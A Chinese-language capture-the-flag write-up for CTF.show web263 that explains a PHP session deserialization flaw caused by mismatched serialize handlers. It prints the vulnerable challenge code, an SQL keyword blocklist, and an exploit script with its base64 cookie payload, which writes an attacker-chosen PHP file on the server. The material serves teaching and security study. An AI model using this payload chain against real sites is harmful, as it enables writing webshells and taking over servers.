题目来源:CTF.show web263
拿到题目只有一个登陆,扫描发现存在源码
为了方便调试,在不影响做题的前提,修改了部分代码
主要文件有index.php、check.php、inc.php
index.php
可以发现通过修改 COOKIE, SESSION 是可控的
-
第一步
先访问 index.php,让$_SESSION['limit']可以通过if条件
-
第二步
通过修改COOKIE 控制 SESSION的值
check.php
引用了 inc/inc.php ,继续判断用户名和密码是否正确,退出程序
退出程序会调用对象的析构函数
inc.php
<?php
error_reporting(0);
//ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
//date_default_timezone_set("Asia/Shanghai");
session_start();
use CTFSHOWCTFSHOW;
//require_once 'CTFSHOW.php';
//$db = new CTFSHOW([
// 'database_type' => 'mysql',
// 'database_name' => 'security',
// 'server' => '127.0.0.1',
// 'username' => 'ctf',
// 'password' => '11',
// 'charset' => 'utf8',
// 'port' => 3306,
// 'prefix' => '',
// 'option' => [
// PDO::ATTR_CASE => PDO::CASE_NATURAL
// ]
//]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|`|~|!|@|#|\$|%|^|\|&|*|(|)|(|)|+|=|[|]|;|:|'|"|<|,|>|?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
echo "jin ru construct";
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
-
__destruct() 方法可以写文件,并且文件内容可控 -
触发可以在check.php退出程序时调用对象的析构函数
payload
存储引擎为 php 和 php_serialize不同编写exp
<?php
highlight_file(__FILE__);
class User{
public $username;
public $password;
public $status ='a';
}
$a=new User();
$a->username='p.php';
$a->password='<?php phpinfo();?>';
echo base64_encode('|'.serialize($a));
// fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJwLnBocCI7czo4OiJwYXNzd29yZCI7czoxODoiPD9waHAgcGhwaW5mbygpOz8+IjtzOjY6InN0YXR1cyI7czoxOiJhIjt9
调试
访问 index.php,可以看到 limit 已经被赋值
修改 COOKIE limit 为 payload,再次访问,SESSION被成功赋值
访问 check.php
运行到这里时会进入 inc.php ,进行查询数据库等一系列操作
php处理方式会把“|”后的值当作KEY值,以php引擎的格式读取session,成功反序列化
这里登陆失败,退出程序,调用析构函数
执行析构函数,写文件
成功执行
本文始发于微信公众号(山警网络空间安全与电子数据取证):PHP SESSION 反序列化漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论